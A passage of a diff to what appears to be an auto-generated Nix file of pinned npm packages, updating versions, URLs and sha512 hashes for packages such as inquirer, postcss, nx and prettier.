"wlwpilI7YdjSkWaQ/7omYBMTliDcmCN8OLihO6I9B86g06lMyAoqgoDpV0XqoaPOKj+0DIdAvnsWfyAAhmimcg=="; }; }; "human-signals-1.1.1" = { @@ -31003,6 +31084,15 @@ let sha512 = "Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="; }; }; + "hyperdyperid-1.2.0" = { + name = "hyperdyperid"; + packageName = "hyperdyperid"; + version = "1.2.0"; + src = fetchurl { + url = "https://registry.npmjs.org/hyperdyperid/-/hyperdyperid-1.2.0.tgz"; + sha512 = "Y93lCzHYgGWdrJ66yIktxiaGULYc6oGiABxhcO5AufBeOyoIdZF7bIfLaOrbM0iGIOXQQgxxRrFEnb+Y6w1n4A=="; + }; + }; "hyperlinker-1.0.0" = { name = "hyperlinker"; packageName = "hyperlinker"; @@ -31732,22 +31822,13 @@ let sha512 = "M1WuAmb7pn9zdFRtQYk26ZBoY043Sse0wVDdk4Bppr+JOXyQYybdtvK+l9wUibhtjdjvtoiNy8tk+EgsYIUqKg=="; }; }; - "inquirer-9.2.12" = { - name = "inquirer"; - packageName = "inquirer"; - version = "9.2.12"; - src = fetchurl { - url = "https://registry.npmjs.org/inquirer/-/inquirer-9.2.12.tgz"; - sha512 = "mg3Fh9g2zfuVWJn6lhST0O7x4n03k7G8Tx5nvikJkbq8/CK47WDVm+UznF0G6s5Zi0KcyUisr6DU8T67N5U+1Q=="; - }; - }; - "inquirer-9.2.13" = { + "inquirer-9.2.14" = { name = "inquirer"; packageName = "inquirer"; - version = "9.2.13"; + version = "9.2.14"; src = fetchurl { - url = "https://registry.npmjs.org/inquirer/-/inquirer-9.2.13.tgz"; - sha512 = "mUlJNemjYioZgaZXqEFlQ0z9GD8/o+pavIF3JyhzWLX4Xa9M1wioGMCxQEFmps70un9lrah2WaBl3kSRVcoV3g=="; + url = "https://registry.npmjs.org/inquirer/-/inquirer-9.2.14.tgz"; + sha512 = "4ByIMt677Iz5AvjyKrDpzaepIyMewNvDcvwpVVRZNmy9dLakVoVgdCHZXbK1SlVJra1db0JZ6XkJyHsanpdrdQ=="; }; }; "inquirer-autocomplete-prompt-3.0.1" = { @@ -31876,13 +31957,13 @@ let sha512 = "S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg=="; }; }; - "internal-slot-1.0.6" = { + "internal-slot-1.0.7" = { name = "internal-slot"; packageName = "internal-slot"; - version = "1.0.6"; + version = "1.0.7"; src = fetchurl { - url = "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.6.tgz"; - sha512 = "Xj6dv+PsbtwyPpEflsejS+oIZxmMlV44zAhG479uYu89MsjcYOhCFnNyKrkJrihbsiasQyY0afoCl/9BLR65bg=="; + url = "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.7.tgz"; + sha512 = "NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g=="; }; }; "internmap-1.0.1" = { @@ -32011,15 +32092,6 @@ let sha512 = "PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg=="; }; }; - "ip-2.0.0" = { - name = "ip"; - packageName = "ip"; - version = "2.0.0"; - src = fetchurl { - url = "https://registry.npmjs.org/ip/-/ip-2.0.0.tgz"; - sha512 = "WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ=="; - }; - }; "ip-address-6.1.0" = { name = "ip-address"; packageName = "ip-address"; @@ -32029,6 +32101,15 @@ let sha512 = "u9YYtb1p2fWSbzpKmZ/b3QXWA+diRYPxc2c4y5lFB/MMk5WZ7wNZv8S3CFcIGVJ5XtlaCAl/FQy/D3eQ2XtdOA=="; }; }; + "ip-address-9.0.5" = { + name = "ip-address"; + packageName = "ip-address"; + version = "9.0.5"; + src = fetchurl { + url = "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz"; + sha512 = "zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g=="; + }; + }; "ip-regex-2.1.0" = { name = "ip-regex"; packageName = "ip-regex"; @@ -32236,13 +32317,13 @@ let sha512 = "8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA=="; }; }; - "is-array-buffer-3.0.2" = { + "is-array-buffer-3.0.4" = { name = "is-array-buffer"; packageName = "is-array-buffer"; - version = "3.0.2"; + version = "3.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz"; - sha512 = "y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w=="; + url = "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz"; + sha512 = "wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="; }; }; "is-arrayish-0.2.1" = { @@ -32875,6 +32956,15 @@ let sha512 = "dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA=="; }; }; + "is-network-error-1.0.1" = { + name = "is-network-error"; + packageName = "is-network-error"; + version = "1.0.1"; + src = fetchurl { + url = "https://registry.npmjs.org/is-network-error/-/is-network-error-1.0.1.tgz"; + sha512 = "OwQXkwBJeESyhFw+OumbJVD58BFBJJI5OM5S1+eyrDKlgDZPX2XNT5gXS56GSD3NPbbwUuMlR1Q71SRp5SobuQ=="; + }; + }; "is-npm-1.0.0" = { name = "is-npm"; packageName = "is-npm"; @@ -33379,13 +33469,13 @@ let sha512 = "+oDTluR6WEjdXEJMnC2z6A4FRwFoYuvShVVEGsS7ewc0UTi2QtAKMDJuL4BDEVt+5T7MjFo12RP8ghOM75oKJw=="; }; }; - "is-typed-array-1.1.12" = { + "is-typed-array-1.1.13" = { name = "is-typed-array"; packageName = "is-typed-array"; - version = "1.1.12"; + version = "1.1.13"; src = fetchurl { - url = "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz"; - sha512 = "Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg=="; + url = "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.13.tgz"; + sha512 = "uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="; }; }; "is-typedarray-1.0.0" = { @@ -34063,13 +34153,13 @@ let sha512 = "m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg=="; }; }; - "jquery.terminal-2.38.0" = { + "jquery.terminal-2.39.0" = { name = "jquery.terminal"; packageName = "jquery.terminal"; - version = "2.38.0"; + version = "2.39.0"; src = fetchurl { - url = "https://registry.npmjs.org/jquery.terminal/-/jquery.terminal-2.38.0.tgz"; - sha512 = "lgY556aGEvN+O5nrbhJcQHFQUi7A0Ui3VZIZD15k2iAMyDhgvgH1wn+bTQTXag2m9I7KRyWk607N3JXp2y/cHQ=="; + url = "https://registry.npmjs.org/jquery.terminal/-/jquery.terminal-2.39.0.tgz"; + sha512 = "5uOeJY8dxVJPdeGlaUuRFAcPlw3GzSxLLTmCSaqP9vJhSAu3Amgkr7e7LZxBvup8oQDYF8jRjQSvtIrkn1XsWw=="; }; }; "js-base64-2.6.3" = { @@ -34090,6 +34180,15 @@ let sha512 = "NPrWuHFxFUknr1KqJRDgUQPexQF0uIJWjeT+2KjEePhitQxQEx5EJBG1lVn5/hc8aLycTpXrDOgPQ6Zq+EDiTA=="; }; }; + "js-cookie-3.0.5" = { + name = "js-cookie"; + packageName = "js-cookie"; + version = "3.0.5"; + src = fetchurl { + url = "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.5.tgz"; + sha512 = "cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw=="; + }; + }; "js-levenshtein-1.1.6" = { name = "js-levenshtein"; packageName = "js-levenshtein"; @@ -34324,13 +34423,13 @@ let sha512 = "Z7sTqYzQ5yoJU/ie+svjqSzrOF5rl4pW/bojvCb/7MfJ+SaGqhMUQMxQGTfqmSvauME8JoVYqwMH89x6qreJ8A=="; }; }; - "jsii-5.3.12" = { + "jsii-5.3.18" = { name = "jsii"; packageName = "jsii"; - version = "5.3.12"; + version = "5.3.18"; src = fetchurl { - url = "https://registry.npmjs.org/jsii/-/jsii-5.3.12.tgz"; - sha512 = "G2hWcEIfED1JuP6EwCFO94Ho4LO8j/na7A4I/ekdCEEmdLAFUvgXTZ4rRuZeiMLmvU0rKyb24r8V18gl+BbkNA=="; + url = "https://registry.npmjs.org/jsii/-/jsii-5.3.18.tgz"; + sha512 = "1BQT5rMDNiyZp7u5461EQQuEOnPJv0UEFlTHgDZJqqCeh1OquTpB0fYFfpJnsvl4C1aleBYo3f0QMzvV7wLVjw=="; }; }; "jsii-5.3.2" = { @@ -34405,13 +34504,13 @@ let sha512 = "JnL8UNW3akZW+XYhrAU5/wtpmyaEHwTrb455PsYMYpHU1OsWcqAHBdn2xdXV05X754yAYKAEv9ga+KV2OVNDOw=="; }; }; - "jsii-srcmak-0.1.1022" = { + "jsii-srcmak-0.1.1039" = { name = "jsii-srcmak"; packageName = "jsii-srcmak"; - version = "0.1.1022"; + version = "0.1.1039"; src = fetchurl { - url = "https://registry.npmjs.org/jsii-srcmak/-/jsii-srcmak-0.1.1022.tgz"; - sha512 = "iQKpVHs+paxNC9a7G1cgOsvizLANqSA0P2c0oDY0R0Rl5NfjH7fyhYhwwlRDUpBT1iyVsOtGepgD717NxF2PsA=="; + url = "https://registry.npmjs.org/jsii-srcmak/-/jsii-srcmak-0.1.1039.tgz"; + sha512 = "3lBjyxBy5UpPGK8bXFmVRzaoK6caDQ5DO40Qbyv3LOWtrsuUQmuVI2/5wRwNtfg6sFzOFD3+kE3LZuNXo7QE/Q=="; }; }; "jsii-srcmak-0.1.999" = { @@ -34441,6 +34540,15 @@ let sha512 = "4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="; }; }; + "json-joy-11.28.0" = { + name = "json-joy"; + packageName = "json-joy"; + version = "11.28.0"; + src = fetchurl { + url = "https://registry.npmjs.org/json-joy/-/json-joy-11.28.0.tgz"; + sha512 = "WTq2tYD2r+0rUFId4gtUjwejV20pArh4q2WRJKxJdwLlPFHyW94HwwB2vUr5lUJTVkehhhWEVLwOUI0MSacNIw=="; + }; + }; "json-parse-better-errors-1.0.2" = { name = "json-parse-better-errors"; packageName = "json-parse-better-errors"; @@ -35683,13 +35791,13 @@ let sha512 = "utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="; }; }; - "lilconfig-3.0.0" = { + "lilconfig-3.1.0" = { name = "lilconfig"; packageName = "lilconfig"; - version = "3.0.0"; + version = "3.1.0"; src = fetchurl { - url = "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz"; - sha512 = "K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g=="; + url = "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.0.tgz"; + sha512 = "p3cz0JV5vw/XeouBU3Ldnp+ZkBjE+n8ydJ4mcwBrOiXXPqNlrzGBqWs9X4MWF7f+iKUBu794Y8Hh8yawiJbCjw=="; }; }; "limit-spawn-0.0.3" = { @@ -37466,22 +37574,13 @@ let sha512 = "RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="; }; }; - "magic-string-0.30.5" = { + "magic-string-0.30.7" = { name = "magic-string"; packageName = "magic-string"; - version = "0.30.5"; + version = "0.30.7"; src = fetchurl { - url = "https://registry.npmjs.org/magic-string/-/magic-string-0.30.5.tgz"; - sha512 = "7xlpfBaQaP/T6Vh8MO/EqXSW5En6INHEvEXQiuff7Gku0PWjU3uf6w/j9o7O+SpB5fOAkrI5HeoNgwjEO0pFsA=="; - }; - }; - "magic-string-0.30.6" = { - name = "magic-string"; - packageName = "magic-string"; - version = "0.30.6"; - src = fetchurl { - url = "https://registry.npmjs.org/magic-string/-/magic-string-0.30.6.tgz"; - sha512 = "n62qCLbPjNjyo+owKtveQxZFZTBm+Ms6YoGD23Wew6Vw337PElFNifQpknPruVRQV57kVShPnLGo9vWxVhpPvA=="; + url = "https://registry.npmjs.org/magic-string/-/magic-string-0.30.7.tgz"; + sha512 = "8vBuFF/I/+OSLRmdf2wwFCJCz+nSn0m6DPvGH1fS/KiQoSaR+sETbov0eIk9KhEKy8CYqIkIAnbohxT/4H0kuA=="; }; }; "magicli-0.0.5" = { @@ -38474,6 +38573,15 @@ let sha512 = "EGowvkkgbMcIChjMTMkESFDbZeSh8xZ7kNSF0hAiAN4Jh6jgHCRS0Ga/+C8y6Au+oqpezRHCfPsmJ2+DwAgiwQ=="; }; }; + "memfs-4.7.1" = { + name = "memfs"; + packageName = "memfs"; + version = "4.7.1"; + src = fetchurl { + url = "https://registry.npmjs.org/memfs/-/memfs-4.7.1.tgz"; + sha512 = "29/L94MxlTPkJOCvLwWG4OIAfBPoB921eOLU4wr6RR4yQ40y/et8mroRE5t4rIQrLtmOACtLhZvGVKJgPGPDxQ=="; + }; + }; "memory-cache-0.2.0" = { name = "memory-cache"; packageName = "memory-cache"; @@ -39608,13 +39716,13 @@ let sha512 = "I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg=="; }; }; - "mini-css-extract-plugin-2.7.7" = { + "mini-css-extract-plugin-2.8.0" = { name = "mini-css-extract-plugin"; packageName = "mini-css-extract-plugin"; - version = "2.7.7"; + version = "2.8.0"; src = fetchurl { - url = "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.7.tgz"; - sha512 = "+0n11YGyRavUR3IlaOzJ0/4Il1avMvJ1VJfhWfCn24ITQXhRr1gghbhhrda6tgtNcpZaWKdSuwKq20Jb7fnlyw=="; + url = "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.8.0.tgz"; + sha512 = "CxmUYPFcTgET1zImteG/LZOy/4T5rTojesQXkSNBiquhydn78tfbCE9sjIjnJ/UcjNjOC1bphTCCW5rrS7cXAg=="; }; }; "mini-svg-data-uri-1.4.4" = { @@ -39626,13 +39734,13 @@ let sha512 = "r9deDe9p5FJUPZAk3A59wGH7Ii9YrjjWw0jmw/liSbHl2CHiyXj6FcDXDu2K3TjVAXqiJdaw3xxwlZZr9E6nHg=="; }; }; - "miniflare-3.20240129.0" = { + "miniflare-3.20240129.3" = { name = "miniflare"; packageName = "miniflare"; - version = "3.20240129.0"; + version = "3.20240129.3"; src = fetchurl { - url = "https://registry.npmjs.org/miniflare/-/miniflare-3.20240129.0.tgz"; - sha512 = "27pDhlP2G/4gXmvnSt6LjMQ8KrkmbJElIQmn+BLjdiyIx+zXY4E8MSPJmi9flgf0dn3wtjuHO2ASenuopqqxrw=="; + url = "https://registry.npmjs.org/miniflare/-/miniflare-3.20240129.3.tgz"; + sha512 = "PCmLJ+UvtbpPj/fgNzTGbd+U5QBkt3akRNcdks9RBJU2SH+gUCp7iahsaI4GA344NX5MIbC6ctw1A6TfcA+aFA=="; }; }; "minilog-3.1.0" = { @@ -40148,13 +40256,13 @@ let sha512 = "72j3aNyuIsDxdF1i7CEgV2FfxM1r6aaqJyLB2vwb33mXYyoyLly+F1zbWqhA3/bVIoJ4szlUoMbUnVdid32NUQ=="; }; }; - "moment-timezone-0.5.44" = { + "moment-timezone-0.5.45" = { name = "moment-timezone"; packageName = "moment-timezone"; - version = "0.5.44"; + version = "0.5.45"; src = fetchurl { - url = "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.44.tgz"; - sha512 = "nv3YpzI/8lkQn0U6RkLd+f0W/zy/JnoR5/EyPz/dNkPTBjA2jNLCVxaiQ8QpeLymhSZvX0wCL5s27NQWdOPwAw=="; + url = "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.45.tgz"; + sha512 = "HIWmqA86KcmCAhnMAN0wuDOARV/525R2+lOLotuGFzn4HO+FH+/645z2wx0Dt3iDv6/p61SIvKnDstISainhLQ=="; }; }; "moo-0.5.2" = { @@ -40337,13 +40445,13 @@ let sha512 = "YVE1mIJ4VpUMqZObFndk9CJu6DBJR/GB13p3tXuNbwD4XExaI5EOuRl6BHeIDxIqXZVxSfAC+y6U1Z/IxCfKUg=="; }; }; - "muggle-string-0.3.1" = { + "muggle-string-0.4.1" = { name = "muggle-string"; packageName = "muggle-string"; - version = "0.3.1"; + version = "0.4.1"; src = fetchurl { - url = "https://registry.npmjs.org/muggle-string/-/muggle-string-0.3.1.tgz"; - sha512 = "ckmWDJjphvd/FvZawgygcUeQCxzvohjFO5RxTjj4eq8kw359gFF3E1brjfI+viLMxss5JrHTDRHZvu2/tuy0Qg=="; + url = "https://registry.npmjs.org/muggle-string/-/muggle-string-0.4.1.tgz"; + sha512 = "VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="; }; }; "multer-1.4.5-lts.1" = { @@ -40535,15 +40643,6 @@ let sha512 = "s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA=="; }; }; - "nanoid-3.3.3" = { - name = "nanoid"; - packageName = "nanoid"; - version = "3.3.3"; - src = fetchurl { - url = "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz"; - sha512 = "p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w=="; - }; - }; "nanoid-3.3.4" = { name = "nanoid"; packageName = "nanoid"; @@ -41355,13 +41454,13 @@ let sha512 = "SU00ZarexNlE4Rjdm83vglt5Y9yiQ+XI1XpflWlb7q7UTN1JUItm69xMeiQCTxtTfnzt+83T8Cx+vI2ED++VDA=="; }; }; - "node-red-admin-3.1.1" = { + "node-red-admin-3.1.2" = { name = "node-red-admin"; packageName = "node-red-admin"; - version = "3.1.1"; + version = "3.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/node-red-admin/-/node-red-admin-3.1.1.tgz"; - sha512 = "DrjxZabGWfdV8pcj5i5XWyAlIUJye/0pJl34RVg6kCzltnDknRxFEGOIEOEwQYVQSE1Mv5maUCfg0RDSKhUPtQ=="; + url = "https://registry.npmjs.org/node-red-admin/-/node-red-admin-3.1.2.tgz"; + sha512 = "UUNpi8QkUDIAReuzxAuZDm17fejkqJJzM49w5+0ScgVtPn6bRVTEnUvusPtKJftH5J3cH2QZ+rkvGz5KeyWxFQ=="; }; }; "node-releases-2.0.14" = { @@ -42066,13 +42165,13 @@ let sha512 = "ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="; }; }; - "nx-17.3.1" = { + "nx-18.0.4" = { name = "nx"; packageName = "nx"; - version = "17.3.1"; + version = "18.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/nx/-/nx-17.3.1.tgz"; - sha512 = "D7moIq+0D9WSjQmkVsce7GxKF603XASGBTApX6+fAdl2KN3aGG8zPlOEE55sVT0/OsdHeoHXPmydL/egTpG2WQ=="; + url = "https://registry.npmjs.org/nx/-/nx-18.0.4.tgz"; + sha512 = "Njb1fGppOw/wM7nOA1hYlLduV2aL4PdXSv5QS5cVYicHT5tw5RnG/0z4j9e6QfFj2EydxVeDUtlGR98diZ3/Yw=="; }; }; "nyc-15.1.0" = { @@ -42327,13 +42426,13 @@ let sha512 = "PrJz0C2xJ58FNn11XV2lr4Jt5Gzl94qpy9Lu0JlfEj14z88sqbSBJCBEzdlNUCzY2gburhbrwOZ5BHCmuNUy0g=="; }; }; - "object.groupby-1.0.1" = { + "object.groupby-1.0.2" = { name = "object.groupby"; packageName = "object.groupby"; - version = "1.0.1"; + version = "1.0.2"; src = fetchurl { - url = "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.1.tgz"; - sha512 = "HqaQtqLnp/8Bn4GL16cj+CUYbnpe1bh0TtEaWvybszDG4tgxCJuRpV8VGuvNaI1fAnI4lUJzDG55MXcOH4JZcQ=="; + url = "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.2.tgz"; + sha512 = "bzBq58S+x+uo0VjurFT0UktpKHOZmv4/xePiOA1nbB9pMqpGK7rUPNgf+1YC+7mE+0HzhTMqNUuCqvKhj6FnBw=="; }; }; "object.hasown-1.1.3" = { @@ -43254,6 +43353,15 @@ let sha512 = "312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ=="; }; }; + "p-retry-6.2.0" = { + name = "p-retry"; + packageName = "p-retry"; + version = "6.2.0"; + src = fetchurl { + url = "https://registry.npmjs.org/p-retry/-/p-retry-6.2.0.tgz"; + sha512 = "JA6nkq6hKyWLLasXQXUrO4z8BUZGUt/LjlJxx8Gb2+2ntodU/SS63YZ8b0LUTbQ8ZB9iwOfhEPhg4ykKnn2KsA=="; + }; + }; "p-settle-4.1.1" = { name = "p-settle"; packageName = "p-settle"; @@ -43425,15 +43533,6 @@ let sha512 = "DPBNWSUWC0wPofXeNThao0uP4a93J7r90UyhagmJS0QcacTTkorZwXYsOop70phn1hKdcf/2e9lJIhazS8bx5A=="; }; }; - "pacote-17.0.5" = { - name = "pacote"; - packageName = "pacote"; - version = "17.0.5"; - src = fetchurl { - url = "https://registry.npmjs.org/pacote/-/pacote-17.0.5.tgz"; - sha512 = "TAE0m20zSDMnchPja9vtQjri19X3pZIyRpm2TJVeI+yU42leJBBDTRYhOcWFsPhaMxf+3iwQkFiKz16G9AEeeA=="; - }; - }; "pacote-17.0.6" = { name = "pacote"; packageName = "pacote"; @@ -43533,13 +43632,13 @@ let sha512 = "GxmsRea0wdGdYthjuUeWTMWPqm2+FAd4GI8vCvhgJsFnoGhTrLhXDDupwTo7rXVAgaLIGoVHDZS9p/5XbSqeWA=="; }; }; - "parse-bmfont-xml-1.1.4" = { + "parse-bmfont-xml-1.1.6" = { name = "parse-bmfont-xml"; packageName = "parse-bmfont-xml"; - version = "1.1.4"; + version = "1.1.6"; src = fetchurl { - url = "https://registry.npmjs.org/parse-bmfont-xml/-/parse-bmfont-xml-1.1.4.tgz"; - sha512 = "bjnliEOmGv3y1aMEfREMBJ9tfL3WR0i0CKPj61DnSLaoxWR3nLrsQrEbCId/8rF4NyRF0cCqisSVXyQYWM+mCQ=="; + url = "https://registry.npmjs.org/parse-bmfont-xml/-/parse-bmfont-xml-1.1.6.tgz"; + sha512 = "0cEliVMZEhrFDwMh4SxIyVJpqYoOWDJ9P895tFuS+XuNzI5UBmBk5U5O4KuJdTnZpSBI4LFA2+ZiJaiwfSwlMA=="; }; }; "parse-english-5.0.0" = { @@ -44469,13 +44568,13 @@ let sha512 = "JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="; }; }; - "picomatch-3.0.1" = { + "picomatch-4.0.1" = { name = "picomatch"; packageName = "picomatch"; - version = "3.0.1"; + version = "4.0.1"; src = fetchurl { - url = "https://registry.npmjs.org/picomatch/-/picomatch-3.0.1.tgz"; - sha512 = "I3EurrIQMlRc9IaAZnqRR044Phh2DXY+55o7uJ0V+hYZAcQYSuFWsc9q5PvyDHUSCe1Qxn/iBz+78s86zWnGag=="; + url = "https://registry.npmjs.org/picomatch/-/picomatch-4.0.1.tgz"; + sha512 = "xUXwsxNjwTQ8K3GnT4pCJm+xq3RUPQbmkYJTP5aFIfNIvbcc/4MUxgBaaRSZJ6yGJZiGSyYlM6MzwTsRk8SYCg=="; }; }; "picomatch-browser-2.2.6" = { @@ -44874,13 +44973,13 @@ let sha512 = "yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA=="; }; }; - "postcss-8.4.33" = { + "postcss-8.4.35" = { name = "postcss"; packageName = "postcss"; - version = "8.4.33"; + version = "8.4.35"; src = fetchurl { - url = "https://registry.npmjs.org/postcss/-/postcss-8.4.33.tgz"; - sha512 = "Kkpbhhdjw2qQs2O2DGX+8m5OVqEcbB9HRBvuYM9pgrjEFUg30A9LmXNlTAUj4S9kgtGyrMbTzVjH7E+s5Re2yg=="; + url = "https://registry.npmjs.org/postcss/-/postcss-8.4.35.tgz"; + sha512 = "u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA=="; }; }; "postcss-calc-8.2.4" = { @@ -45054,13 +45153,13 @@ let sha512 = "bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ=="; }; }; - "postcss-load-config-5.0.2" = { + "postcss-load-config-5.0.3" = { name = "postcss-load-config"; packageName = "postcss-load-config"; - version = "5.0.2"; + version = "5.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-5.0.2.tgz"; - sha512 = "Q8QR3FYbqOKa0bnC1UQ2bFq9/ulHX5Bi34muzitMr8aDtUelO5xKeJEYC/5smE0jNE9zdB/NBnOwXKexELbRlw=="; + url = "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-5.0.3.tgz"; + sha512 = "90pBBI5apUVruIEdCxZic93Wm+i9fTrp7TXbgdUCH+/L+2WnfpITSpq5dFU/IPvbv7aNiMlQISpUkAm3fEcvgQ=="; }; }; "postcss-media-query-parser-0.2.3" = { @@ -45603,6 +45702,15 @@ let sha512 = "z+16RoxK3fUPgwaIgH9NGnK1HKY9XIDpydky5eQGgAFVXTCSezalv9U2jQuNV+Z9qV1fDWNzldcw4eK0SSbqKA=="; }; }; + "postject-1.0.0-alpha.6" = { + name = "postject"; + packageName = "postject"; + version = "1.0.0-alpha.6"; + src = fetchurl { + url = "https://registry.npmjs.org/postject/-/postject-1.0.0-alpha.6.tgz"; + sha512 = "b9Eb8h2eVqNE8edvKdwqkrY6O7kAwmI8kcnBv1NScolYJbo59XUF0noFq+lxbC1yN20bmC0WBEbDC5H/7ASb0A=="; + }; + }; "prebuild-install-7.1.1" = { name = "prebuild-install"; packageName = "prebuild-install"; @@ -45720,13 +45828,13 @@ let sha512 = "22UbSzg8luF4UuZtzgiUOfcGM8s4tjBv6dJRT7j275NXsy2jb4aJa4NNveul5x4eqlF1wuhuR2RElK71RvmVaw=="; }; }; - "prettier-3.2.4" = { + "prettier-3.2.5" = { name = "prettier"; packageName = "prettier"; - version = "3.2.4"; + version = "3.2.5"; src = fetchurl { - url = "https://registry.npmjs.org/prettier/-/prettier-3.2.4.tgz"; - sha512 = "FWu1oLHKCrtpO1ypU6J0SbK2d9Ckwysq6bHj/uaCP26DxrPpppCLQRGVuqAxSTvhF00AcvDRyYrLNW7ocBhFFQ=="; + url = "https://registry.npmjs.org/prettier/-/prettier-3.2.5.tgz"; + sha512 = "3/GWa9aOC0YeD7LUfvOG2NiDyhOWRvt1k+rcKhOuYnMY24iiCphgneUfJDyFXd6rZCAnuLBv6UeAULtrhT/F4A=="; }; }; "prettier-bytes-1.0.4" = { @@ -46044,13 +46152,13 @@ let sha512 = "y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g=="; }; }; - "promise.prototype.finally-3.1.7" = { + "promise.prototype.finally-3.1.8" = { name = "promise.prototype.finally"; packageName = "promise.prototype.finally"; - version = "3.1.7"; + version = "3.1.8"; src = fetchurl { - url = "https://registry.npmjs.org/promise.prototype.finally/-/promise.prototype.finally-3.1.7.tgz"; - sha512 = "iL9OcJRUZcCE5xn6IwhZxO+eMM0VEXjkETHy+Nk+d9q3s7kxVtPg+mBlMO+ZGxNKNMODyKmy/bOyt/yhxTnvEw=="; + url = 